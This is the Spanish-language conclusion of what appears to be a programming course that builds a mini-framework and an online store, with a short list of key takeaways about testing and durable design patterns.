Empezamos con un echo "Hola" avergonzado de sí mismo. Terminamos con un mini-framework de diecisiete decisiones defendibles y una tienda completa encima. Entre ambos puntos hay una verdad simple que vale para todo lenguaje y todo framework: el mejor código es el que entiendes tan bien que podrías haberlo escrito tú. Ahora puedes.

Puntos clave

  • Examen final: recurso Productos completo sin tocar piezas existentes.
  • Tres caminos legítimos: profundidad, framework u operación — todos empiezan hoy.
  • El dominio puro se testea en milisegundos: esa fue la recompensa oculta.
  • Patrones permanecen, herramientas rotan: invertiste en lo duradero.